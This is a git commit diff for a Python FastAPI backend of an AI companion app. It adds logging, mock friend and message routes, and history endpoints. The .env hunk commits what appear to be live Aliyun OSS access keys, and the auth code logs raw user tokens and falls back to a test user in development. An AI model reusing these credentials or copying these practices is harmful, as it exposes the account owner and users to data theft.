问题:php不会使用项目卡顿
This commit is contained in:
parent
1f3f3b9240
commit
57a846b2a1
14
.env
14
.env
|
|
@ -7,7 +7,7 @@ DEBUG=True
|
|||
BACKEND_URL=http://127.0.0.1:8000
|
||||
|
||||
# ===== 数据库配置 =====
|
||||
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/lover?charset=utf8mb4
|
||||
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/fastadmin?charset=utf8mb4
|
||||
|
||||
# ===== 用户信息接口 (PHP后端) =====
|
||||
# 开发环境暂时使用本地地址,PHP后端配置好后再修改
|
||||
|
|
@ -58,9 +58,9 @@ VOICE_CALL_REQUIRE_PTT=true
|
|||
# === 唱歌视频合成配置 ===
|
||||
SING_MERGE_MAX_CONCURRENCY=2
|
||||
|
||||
# ===== OSS 配置 (暂时留空) =====
|
||||
ALIYUN_OSS_ACCESS_KEY_ID=
|
||||
ALIYUN_OSS_ACCESS_KEY_SECRET=
|
||||
ALIYUN_OSS_BUCKET_NAME=
|
||||
ALIYUN_OSS_ENDPOINT=
|
||||
ALIYUN_OSS_CDN_DOMAIN=
|
||||
# ===== OSS 配置 =====
|
||||
ALIYUN_OSS_ACCESS_KEY_ID=LTAI5tBzjogJDx4JzRYoDyEM
|
||||
ALIYUN_OSS_ACCESS_KEY_SECRET=43euicRkkzlLjGTYzFYkTupcW7N5w3
|
||||
ALIYUN_OSS_BUCKET_NAME=hello12312312
|
||||
ALIYUN_OSS_ENDPOINT=https://oss-cn-hangzhou.aliyuncs.com
|
||||
ALIYUN_OSS_CDN_DOMAIN=https://hello12312312.oss-cn-hangzhou.aliyuncs.com
|
||||
|
|
|
|||
58
.gitignore
vendored
58
.gitignore
vendored
|
|
@ -1,3 +1,59 @@
|
|||
归档/
|
||||
xunifriend_RaeeC/runtime/log/
|
||||
public/
|
||||
public/
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# Node.js
|
||||
node_modules/
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
package-lock.json
|
||||
|
||||
# IDE
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# OS
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# Runtime
|
||||
xunifriend_RaeeC/runtime/
|
||||
xunifriend_RaeeC/public/uploads/
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
*.bak
|
||||
*.zip
|
||||
*.tar
|
||||
*.tar.gz
|
||||
*.tar.xz
|
||||
|
||||
# Environment
|
||||
.env.local
|
||||
.env.*.local
|
||||
|
|
@ -1,2 +1,2 @@
|
|||
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/lover?charset=utf8mb4
|
||||
USER_INFO_API=http://127.0.0.1:8080/api/user_basic/get_user_basic
|
||||
USER_INFO_API=http://192.168.1.164:30100/index.php/api/user_basic/get_user_basic
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -150,7 +150,7 @@ class Settings(BaseSettings):
|
|||
|
||||
# 用户信息拉取接口(FastAdmin 提供)
|
||||
USER_INFO_API: str = Field(
|
||||
default="https://xunifriend.shandonghuixing.com/api/user_basic/get_user_basic",
|
||||
default="http://192.168.1.164:30100/index.php/api/user_basic/get_user_basic",
|
||||
env="USER_INFO_API",
|
||||
)
|
||||
|
||||
|
|
|
|||
10
lover/db.py
10
lover/db.py
|
|
@ -31,12 +31,18 @@ def get_db():
|
|||
yield db
|
||||
db.commit()
|
||||
except OperationalError as exc:
|
||||
import logging
|
||||
logger = logging.getLogger("db")
|
||||
logger.error(f"Database OperationalError: {exc}", exc_info=True)
|
||||
db.rollback()
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
|
||||
detail="Database unavailable, please check DATABASE_URL / MySQL service.",
|
||||
detail=f"Database unavailable: {str(exc)}",
|
||||
) from exc
|
||||
except Exception:
|
||||
except Exception as exc:
|
||||
import logging
|
||||
logger = logging.getLogger("db")
|
||||
logger.error(f"Database Exception: {exc}", exc_info=True)
|
||||
db.rollback()
|
||||
raise
|
||||
finally:
|
||||
|
|
|
|||
|
|
@ -17,30 +17,42 @@ class AuthedUser(BaseModel):
|
|||
|
||||
def _fetch_user_from_php(token: str) -> Optional[dict]:
|
||||
"""通过 PHP/FastAdmin 接口获取用户信息。"""
|
||||
import logging
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
logger.info(f"用户中心调试 - 调用接口: {settings.USER_INFO_API}")
|
||||
logger.info(f"用户中心调试 - token: {token}")
|
||||
|
||||
try:
|
||||
resp = requests.get(
|
||||
settings.USER_INFO_API,
|
||||
headers={"token": token},
|
||||
timeout=5,
|
||||
)
|
||||
logger.info(f"用户中心调试 - 响应状态码: {resp.status_code}")
|
||||
logger.info(f"用户中心调试 - 响应内容: {resp.text[:200]}...")
|
||||
except Exception as exc: # 网络/超时
|
||||
logger.error(f"用户中心调试 - 请求异常: {exc}")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_502_BAD_GATEWAY,
|
||||
detail="用户中心接口不可用",
|
||||
) from exc
|
||||
|
||||
if resp.status_code != 200:
|
||||
logger.error(f"用户中心调试 - 状态码非200: {resp.status_code}")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
detail="用户中心返回非 200",
|
||||
)
|
||||
data = resp.json()
|
||||
logger.info(f"用户中心调试 - 解析JSON成功: {data}")
|
||||
# 兼容常见 FastAdmin 响应结构
|
||||
if isinstance(data, dict):
|
||||
payload = data.get("data") or data.get("user") or data
|
||||
else:
|
||||
payload = None
|
||||
if not payload:
|
||||
logger.error(f"用户中心调试 - 未找到用户数据: {data}")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
detail="用户中心未返回用户信息",
|
||||
|
|
@ -110,7 +122,7 @@ def get_current_user(
|
|||
# 如果是开发环境,token 验证失败时也返回测试用户
|
||||
if settings.APP_ENV == "development" and settings.DEBUG:
|
||||
logger.warning(f"开发环境:token 验证失败({e.detail}),使用测试用户")
|
||||
return AuthedUser(id=84, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
raise
|
||||
|
||||
# 调试兜底:仅凭 X-User-Id 不校验 PHP,方便联调
|
||||
|
|
@ -119,6 +131,6 @@ def get_current_user(
|
|||
|
||||
# 开发环境兜底:如果没有任何认证信息,返回默认测试用户
|
||||
if settings.APP_ENV == "development" and settings.DEBUG:
|
||||
return AuthedUser(id=84, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
|
||||
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="用户不存在或未授权")
|
||||
|
|
|
|||
|
|
@ -5,24 +5,47 @@ from fastapi.staticfiles import StaticFiles
|
|||
import logging
|
||||
import dashscope
|
||||
from pathlib import Path
|
||||
from contextlib import asynccontextmanager
|
||||
|
||||
from .routers import config as config_router
|
||||
from .routers import lover as lover_router
|
||||
from .response import ApiResponse
|
||||
from .routers import outfit as outfit_router
|
||||
from .routers import chat as chat_router
|
||||
from .routers import voice_call as voice_call_router
|
||||
from .routers import dance as dance_router
|
||||
from .routers import dynamic as dynamic_router
|
||||
from .routers import sing as sing_router
|
||||
from .task_queue import start_sing_workers
|
||||
from .config import settings
|
||||
from lover.routers import config as config_router
|
||||
from lover.routers import lover as lover_router
|
||||
from lover.routers import user_basic as user_basic_router
|
||||
from lover.response import ApiResponse
|
||||
from lover.routers import outfit as outfit_router
|
||||
from lover.routers import chat as chat_router
|
||||
from lover.routers import voice_call as voice_call_router
|
||||
from lover.routers import dance as dance_router
|
||||
from lover.routers import dynamic as dynamic_router
|
||||
from lover.routers import sing as sing_router
|
||||
from lover.routers import friend as friend_router
|
||||
from lover.routers import msg as msg_router
|
||||
from lover.routers import huanxin as huanxin_router
|
||||
from lover.routers import user as user_router
|
||||
from lover.task_queue import start_sing_workers
|
||||
from lover.config import settings
|
||||
|
||||
# 初始化 DashScope API Key
|
||||
if settings.DASHSCOPE_API_KEY:
|
||||
dashscope.api_key = settings.DASHSCOPE_API_KEY
|
||||
|
||||
app = FastAPI(title="LOVER API")
|
||||
# 配置日志
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
|
||||
)
|
||||
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI):
|
||||
# 启动时执行
|
||||
logger = logging.getLogger("main")
|
||||
logger.info("应用启动中...")
|
||||
start_sing_workers()
|
||||
logger.info("应用启动完成")
|
||||
yield
|
||||
# 关闭时执行
|
||||
logger.info("应用关闭")
|
||||
|
||||
app = FastAPI(title="LOVER API", lifespan=lifespan)
|
||||
|
||||
# 创建 TTS 文件目录
|
||||
tts_dir = Path("public/tts")
|
||||
|
|
@ -48,17 +71,17 @@ app.add_middleware(
|
|||
|
||||
app.include_router(config_router.router)
|
||||
app.include_router(lover_router.router)
|
||||
app.include_router(user_basic_router.router)
|
||||
app.include_router(outfit_router.router)
|
||||
app.include_router(chat_router.router)
|
||||
app.include_router(voice_call_router.router)
|
||||
app.include_router(dance_router.router)
|
||||
app.include_router(dynamic_router.router)
|
||||
app.include_router(sing_router.router)
|
||||
|
||||
|
||||
@app.on_event("startup")
|
||||
async def startup_tasks():
|
||||
start_sing_workers()
|
||||
app.include_router(friend_router.router)
|
||||
app.include_router(msg_router.router)
|
||||
app.include_router(huanxin_router.router)
|
||||
app.include_router(user_router.router)
|
||||
|
||||
|
||||
@app.exception_handler(HTTPException)
|
||||
|
|
|
|||
|
|
@ -1,18 +0,0 @@
|
|||
-- 添加邀请码相关字段
|
||||
ALTER TABLE nf_user
|
||||
ADD COLUMN invite_code VARCHAR(10) UNIQUE COMMENT '我的邀请码',
|
||||
ADD COLUMN invited_by VARCHAR(10) COMMENT '被谁邀请(邀请码)',
|
||||
ADD COLUMN invite_count INT DEFAULT 0 COMMENT '邀请人数',
|
||||
ADD COLUMN invite_reward_total DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
|
||||
|
||||
-- 为已有用户生成邀请码(6位随机字符)
|
||||
UPDATE nf_user
|
||||
SET invite_code = CONCAT(
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1)
|
||||
)
|
||||
WHERE invite_code IS NULL;
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
-- 添加消息编辑相关字段
|
||||
ALTER TABLE nf_chat_message
|
||||
ADD COLUMN is_edited TINYINT(1) DEFAULT 0 COMMENT '是否被编辑过',
|
||||
ADD COLUMN original_content TEXT COMMENT '原始内容',
|
||||
ADD COLUMN edited_at DATETIME COMMENT '编辑时间';
|
||||
|
||||
-- 添加索引
|
||||
CREATE INDEX idx_message_edited ON nf_chat_message(is_edited, session_id);
|
||||
|
|
@ -26,6 +26,7 @@ class User(Base):
|
|||
chat_used_today = Column(Integer, default=0)
|
||||
chat_reset_date = Column(Date)
|
||||
video_gen_remaining = Column(Integer, default=0)
|
||||
video_gen_reset_date = Column(Date)
|
||||
inner_voice_enabled = Column(Boolean, default=False)
|
||||
outfit_slots = Column(Integer, default=5)
|
||||
owned_outfit_ids = Column(JSON)
|
||||
|
|
|
|||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -32,6 +32,51 @@ router = APIRouter(prefix="/dance", tags=["dance"])
|
|||
DANCE_TARGET_DURATION_SEC = 10
|
||||
|
||||
|
||||
@router.get("/history", response_model=ApiResponse[list[dict]])
|
||||
def get_dance_history(
|
||||
db: Session = Depends(get_db),
|
||||
user: AuthedUser = Depends(get_current_user),
|
||||
page: int = 1,
|
||||
size: int = 20,
|
||||
):
|
||||
"""
|
||||
获取用户的跳舞视频历史记录。
|
||||
"""
|
||||
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
|
||||
if not lover:
|
||||
raise HTTPException(status_code=404, detail="恋人未找到")
|
||||
|
||||
offset = (page - 1) * size
|
||||
tasks = (
|
||||
db.query(GenerationTask)
|
||||
.filter(
|
||||
GenerationTask.user_id == user.id,
|
||||
GenerationTask.lover_id == lover.id,
|
||||
GenerationTask.task_type == "video",
|
||||
GenerationTask.status == "succeeded",
|
||||
GenerationTask.result_url.isnot(None),
|
||||
)
|
||||
.order_by(GenerationTask.id.desc())
|
||||
.offset(offset)
|
||||
.limit(size)
|
||||
.all()
|
||||
)
|
||||
|
||||
result: list[dict] = []
|
||||
for task in tasks:
|
||||
payload = task.payload or {}
|
||||
result.append(
|
||||
{
|
||||
"id": task.id,
|
||||
"prompt": payload.get("prompt") or "",
|
||||
"video_url": _cdnize(task.result_url) or "",
|
||||
"created_at": task.created_at.isoformat() if task.created_at else None,
|
||||
}
|
||||
)
|
||||
|
||||
return success_response(result, msg="获取成功")
|
||||
|
||||
|
||||
class DanceGenerateIn(BaseModel):
|
||||
prompt: str = Field(..., min_length=2, max_length=400, description="用户希望跳的舞/动作描述")
|
||||
|
||||
|
|
|
|||
23
lover/routers/friend.py
Normal file
23
lover/routers/friend.py
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/api/friend/index")
|
||||
def get_friend_index(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取好友列表"""
|
||||
return success_response({
|
||||
"friends": [],
|
||||
"total": 0
|
||||
})
|
||||
|
||||
@router.post("/api/friend/add")
|
||||
def add_friend(user: AuthedUser = Depends(get_current_user)):
|
||||
"""添加好友"""
|
||||
return success_response({"message": "添加成功"})
|
||||
|
||||
@router.delete("/api/friend/delete")
|
||||
def delete_friend(user: AuthedUser = Depends(get_current_user)):
|
||||
"""删除好友"""
|
||||
return success_response({"message": "删除成功"})
|
||||
27
lover/routers/huanxin.py
Normal file
27
lover/routers/huanxin.py
Normal file
|
|
@ -0,0 +1,27 @@
|
|||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.post("/api/huanxin/getToken")
|
||||
def get_huanxin_token(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取环信token"""
|
||||
return success_response({
|
||||
"token": "mock_huanxin_token_" + str(user.id),
|
||||
"expires_in": 3600
|
||||
})
|
||||
|
||||
@router.post("/api/huanxin/register")
|
||||
def register_huanxin_user(user: AuthedUser = Depends(get_current_user)):
|
||||
"""注册环信用户"""
|
||||
return success_response({"message": "注册成功"})
|
||||
|
||||
@router.get("/api/huanxin/user_info")
|
||||
def get_huanxin_user_info(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取环信用户信息"""
|
||||
return success_response({
|
||||
"username": f"user_{user.id}",
|
||||
"nickname": user.nickname,
|
||||
"avatar": ""
|
||||
})
|
||||
26
lover/routers/msg.py
Normal file
26
lover/routers/msg.py
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/api/msg/count")
|
||||
def get_msg_count(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取未读消息数量"""
|
||||
return success_response({
|
||||
"unread_count": 0,
|
||||
"total_count": 0
|
||||
})
|
||||
|
||||
@router.get("/api/msg/list")
|
||||
def get_msg_list(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取消息列表"""
|
||||
return success_response({
|
||||
"messages": [],
|
||||
"total": 0
|
||||
})
|
||||
|
||||
@router.post("/api/msg/send")
|
||||
def send_msg(user: AuthedUser = Depends(get_current_user)):
|
||||
"""发送消息"""
|
||||
return success_response({"message": "发送成功"})
|
||||
|
|
@ -96,6 +96,29 @@ _sing_last_enqueue_at: dict[int, float] = {}
|
|||
_emo_task_semaphore = threading.BoundedSemaphore(max(1, settings.EMO_MAX_CONCURRENCY or 1))
|
||||
|
||||
|
||||
def _check_and_reset_vip_video_gen(user_row: User, db: Session) -> None:
|
||||
"""检查并重置 VIP 用户的视频生成次数"""
|
||||
if not user_row:
|
||||
return
|
||||
|
||||
# 检查是否是 VIP 用户(vip_endtime 是 Unix 时间戳)
|
||||
current_timestamp = int(datetime.utcnow().timestamp())
|
||||
is_vip = user_row.vip_endtime and user_row.vip_endtime > current_timestamp
|
||||
if not is_vip:
|
||||
return
|
||||
|
||||
# 获取上次重置日期
|
||||
last_reset = user_row.video_gen_reset_date
|
||||
today = datetime.utcnow().date()
|
||||
|
||||
# 如果是新的一天,重置次数
|
||||
if not last_reset or last_reset < today:
|
||||
user_row.video_gen_remaining = 2 # VIP 用户每天 2 次
|
||||
user_row.video_gen_reset_date = today
|
||||
db.add(user_row)
|
||||
db.flush()
|
||||
|
||||
|
||||
@contextmanager
|
||||
def _semaphore_guard(semaphore: threading.BoundedSemaphore):
|
||||
semaphore.acquire()
|
||||
|
|
@ -204,16 +227,20 @@ def _resolve_sing_prompts(model: str) -> tuple[str, str]:
|
|||
|
||||
def _download_to_path(url: str, target_path: str):
|
||||
try:
|
||||
logger.info(f"开始下载文件: {url}")
|
||||
resp = requests.get(url, stream=True, timeout=30)
|
||||
except Exception as exc:
|
||||
logger.error(f"文件下载失败 - URL: {url}, 错误: {exc}")
|
||||
raise HTTPException(status_code=502, detail="文件下载失败") from exc
|
||||
if resp.status_code != 200:
|
||||
logger.error(f"文件下载失败 - URL: {url}, 状态码: {resp.status_code}")
|
||||
raise HTTPException(status_code=502, detail="文件下载失败")
|
||||
try:
|
||||
with open(target_path, "wb") as file_handle:
|
||||
for chunk in resp.iter_content(chunk_size=1024 * 1024):
|
||||
if chunk:
|
||||
file_handle.write(chunk)
|
||||
logger.info(f"文件下载成功: {url} -> {target_path}")
|
||||
finally:
|
||||
resp.close()
|
||||
|
||||
|
|
@ -744,6 +771,9 @@ def _submit_emo_video(
|
|||
ext_bbox: list,
|
||||
style_level: str,
|
||||
) -> str:
|
||||
import logging
|
||||
logger = logging.getLogger("sing")
|
||||
|
||||
if not settings.DASHSCOPE_API_KEY:
|
||||
raise HTTPException(status_code=500, detail="未配置 DASHSCOPE_API_KEY")
|
||||
input_obj = {
|
||||
|
|
@ -762,6 +792,10 @@ def _submit_emo_video(
|
|||
"Authorization": f"Bearer {settings.DASHSCOPE_API_KEY}",
|
||||
"Content-Type": "application/json",
|
||||
}
|
||||
|
||||
logger.info(f"提交 EMO 视频生成任务,model={EMO_MODEL}, style_level={style_level}")
|
||||
logger.debug(f"请求参数: {input_payload}")
|
||||
|
||||
try:
|
||||
resp = requests.post(
|
||||
"https://dashscope.aliyuncs.com/api/v1/services/aigc/image2video/video-synthesis",
|
||||
|
|
@ -770,17 +804,24 @@ def _submit_emo_video(
|
|||
timeout=15,
|
||||
)
|
||||
except Exception as exc:
|
||||
logger.error(f"调用 EMO API 失败: {exc}")
|
||||
raise HTTPException(status_code=502, detail="调用EMO视频生成失败") from exc
|
||||
|
||||
logger.info(f"EMO API 返回状态码: {resp.status_code}")
|
||||
|
||||
if resp.status_code != 200:
|
||||
msg = resp.text
|
||||
try:
|
||||
msg = resp.json().get("message") or msg
|
||||
except Exception:
|
||||
pass
|
||||
logger.error(f"EMO 任务提交失败: {msg}")
|
||||
raise HTTPException(status_code=502, detail=f"EMO视频任务提交失败: {msg}")
|
||||
try:
|
||||
data = resp.json()
|
||||
logger.info(f"EMO API 返回数据: {data}")
|
||||
except Exception as exc:
|
||||
logger.error(f"解析 EMO API 响应失败: {exc}")
|
||||
raise HTTPException(status_code=502, detail="EMO视频任务返回解析失败") from exc
|
||||
task_id = (
|
||||
data.get("output", {}).get("task_id")
|
||||
|
|
@ -788,26 +829,40 @@ def _submit_emo_video(
|
|||
or data.get("output", {}).get("id")
|
||||
)
|
||||
if not task_id:
|
||||
logger.error(f"EMO API 未返回 task_id,完整响应: {data}")
|
||||
raise HTTPException(status_code=502, detail="EMO视频任务未返回 task_id")
|
||||
|
||||
logger.info(f"EMO 任务提交成功,task_id={task_id}")
|
||||
return str(task_id)
|
||||
|
||||
|
||||
def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
|
||||
import logging
|
||||
logger = logging.getLogger("sing")
|
||||
logger.info(f"⏳ 开始轮询 DashScope 任务: {task_id}")
|
||||
|
||||
headers = {"Authorization": f"Bearer {settings.DASHSCOPE_API_KEY}"}
|
||||
query_url = f"https://dashscope.aliyuncs.com/api/v1/tasks/{task_id}"
|
||||
# 视频任务排队时间可能较长,放宽到指定超时
|
||||
deadline = time.time() + max(60, timeout_seconds)
|
||||
attempts = 0
|
||||
while time.time() < deadline:
|
||||
time.sleep(3)
|
||||
attempts += 1
|
||||
try:
|
||||
resp = requests.get(query_url, headers=headers, timeout=8)
|
||||
except Exception:
|
||||
except Exception as e:
|
||||
if attempts % 10 == 0:
|
||||
logger.warning(f"⚠️ 轮询任务 {task_id} 第 {attempts} 次请求失败: {e}")
|
||||
continue
|
||||
if resp.status_code != 200:
|
||||
if attempts % 10 == 0:
|
||||
logger.warning(f"⚠️ 轮询任务 {task_id} 第 {attempts} 次返回状态码: {resp.status_code}")
|
||||
continue
|
||||
try:
|
||||
data = resp.json()
|
||||
except Exception:
|
||||
except Exception as e:
|
||||
if attempts % 10 == 0:
|
||||
logger.warning(f"⚠️ 轮询任务 {task_id} 第 {attempts} 次 JSON 解析失败: {e}")
|
||||
continue
|
||||
output = data.get("output") or {}
|
||||
status_str = str(
|
||||
|
|
@ -816,6 +871,11 @@ def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
|
|||
or data.get("status")
|
||||
or ""
|
||||
).upper()
|
||||
|
||||
# 每 5 次(15秒)记录一次进度
|
||||
if attempts % 5 == 0:
|
||||
logger.info(f"🔄 轮询任务 {task_id} 第 {attempts} 次,状态: {status_str}")
|
||||
|
||||
if status_str == "SUCCEEDED":
|
||||
results = output.get("results") or {}
|
||||
url = (
|
||||
|
|
@ -825,14 +885,19 @@ def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
|
|||
or data.get("output", {}).get("video_url")
|
||||
)
|
||||
if not url:
|
||||
logger.error(f"❌ 任务 {task_id} 成功但未返回 URL")
|
||||
raise HTTPException(status_code=502, detail="视频生成成功但未返回结果 URL")
|
||||
logger.info(f"✅ 任务 {task_id} 生成成功!")
|
||||
return url
|
||||
if status_str == "FAILED":
|
||||
code = output.get("code") or data.get("code")
|
||||
msg = output.get("message") or data.get("message") or "生成失败"
|
||||
if code:
|
||||
msg = f"{code}: {msg}"
|
||||
logger.error(f"❌ 任务 {task_id} 生成失败: {msg}")
|
||||
raise HTTPException(status_code=502, detail=f"视频生成失败: {msg}")
|
||||
|
||||
logger.error(f"⏱️ 任务 {task_id} 轮询超时,共尝试 {attempts} 次")
|
||||
raise HTTPException(status_code=504, detail="视频生成超时,请稍后重试")
|
||||
|
||||
|
||||
|
|
@ -880,7 +945,11 @@ def _query_dashscope_task_status(task_id: str) -> tuple[str, Optional[str], Opti
|
|||
return "UNKNOWN", None, None
|
||||
|
||||
|
||||
def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Optional[str] = None) -> Optional[SongSegmentVideo]:
|
||||
def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Optional[str] = None) -> None:
|
||||
"""
|
||||
尝试从 DashScope 获取任务状态并更新数据库。
|
||||
不返回任何对象,避免 SQLAlchemy DetachedInstanceError。
|
||||
"""
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
db.query(SongSegmentVideo)
|
||||
|
|
@ -888,10 +957,10 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
.first()
|
||||
)
|
||||
if not segment_video or segment_video.status != "running":
|
||||
return None
|
||||
return
|
||||
task_id = dashscope_task_id or segment_video.dashscope_task_id
|
||||
if not task_id:
|
||||
return None
|
||||
return
|
||||
segment = (
|
||||
db.query(SongSegment)
|
||||
.filter(SongSegment.id == segment_video.segment_id)
|
||||
|
|
@ -935,7 +1004,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
segment_video.updated_at = datetime.utcnow()
|
||||
db.add(segment_video)
|
||||
db.commit()
|
||||
return None
|
||||
return
|
||||
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
|
|
@ -951,8 +1020,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
segment_video.updated_at = datetime.utcnow()
|
||||
db.add(segment_video)
|
||||
db.commit()
|
||||
return segment_video
|
||||
return None
|
||||
return
|
||||
|
||||
if status == "FAILED":
|
||||
with SessionLocal() as db:
|
||||
|
|
@ -968,10 +1036,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
|
|||
segment_video.updated_at = datetime.utcnow()
|
||||
db.add(segment_video)
|
||||
db.commit()
|
||||
return segment_video
|
||||
return None
|
||||
|
||||
return None
|
||||
return
|
||||
|
||||
|
||||
def _wait_for_base_video(base_id: int, timeout: int) -> Optional[SingBaseVideo]:
|
||||
|
|
@ -1014,15 +1079,48 @@ def _wait_for_segment_video(segment_video_id: int, timeout: int) -> Optional[Son
|
|||
.filter(SongSegmentVideo.id == segment_video_id)
|
||||
.first()
|
||||
)
|
||||
if segment_video and segment_video.status in ("succeeded", "failed"):
|
||||
return segment_video
|
||||
dash_task_id = segment_video.dashscope_task_id if segment_video else None
|
||||
if segment_video:
|
||||
status = segment_video.status
|
||||
if status in ("succeeded", "failed"):
|
||||
# 在会话关闭前获取所有需要的属性
|
||||
video_url = segment_video.video_url
|
||||
error_msg = segment_video.error_msg
|
||||
# 创建一个新对象返回,避免 DetachedInstanceError
|
||||
result = SongSegmentVideo(
|
||||
id=segment_video.id,
|
||||
status=status,
|
||||
video_url=video_url,
|
||||
error_msg=error_msg,
|
||||
)
|
||||
return result
|
||||
dash_task_id = segment_video.dashscope_task_id
|
||||
else:
|
||||
dash_task_id = None
|
||||
|
||||
now = time.time()
|
||||
if dash_task_id and now - last_backfill_at >= EMO_BACKFILL_MIN_INTERVAL_SECONDS:
|
||||
updated = _try_backfill_segment_video(segment_video_id, dash_task_id)
|
||||
# 调用 backfill 后重新查询,不使用返回的对象
|
||||
_try_backfill_segment_video(segment_video_id, dash_task_id)
|
||||
last_backfill_at = now
|
||||
if updated and updated.status in ("succeeded", "failed"):
|
||||
return updated
|
||||
# 重新查询状态
|
||||
with SessionLocal() as db:
|
||||
segment_video = (
|
||||
db.query(SongSegmentVideo)
|
||||
.filter(SongSegmentVideo.id == segment_video_id)
|
||||
.first()
|
||||
)
|
||||
if segment_video:
|
||||
status = segment_video.status
|
||||
if status in ("succeeded", "failed"):
|
||||
video_url = segment_video.video_url
|
||||
error_msg = segment_video.error_msg
|
||||
result = SongSegmentVideo(
|
||||
id=segment_video.id,
|
||||
status=status,
|
||||
video_url=video_url,
|
||||
error_msg=error_msg,
|
||||
)
|
||||
return result
|
||||
time.sleep(3)
|
||||
return None
|
||||
|
||||
|
|
@ -1294,9 +1392,11 @@ def _should_enqueue_task(task_id: int) -> bool:
|
|||
|
||||
|
||||
def _enqueue_sing_task(task_id: int):
|
||||
if not _should_enqueue_task(task_id):
|
||||
return False
|
||||
return sing_task_queue.enqueue_unique(f"sing:{task_id}", _process_sing_task, task_id)
|
||||
import logging
|
||||
logger = logging.getLogger("sing")
|
||||
# 移除入队日志,只在失败时记录
|
||||
result = sing_task_queue.enqueue_unique(f"sing:{task_id}", _process_sing_task, task_id)
|
||||
return result
|
||||
|
||||
|
||||
def _next_seq(db: Session, session_id: int) -> int:
|
||||
|
|
@ -1476,6 +1576,53 @@ def list_songs_for_lover(
|
|||
return success_response(SongListResponse(songs=songs), msg="歌曲列表获取成功")
|
||||
|
||||
|
||||
@router.get("/history", response_model=ApiResponse[List[dict]])
|
||||
def get_sing_history(
|
||||
db: Session = Depends(get_db),
|
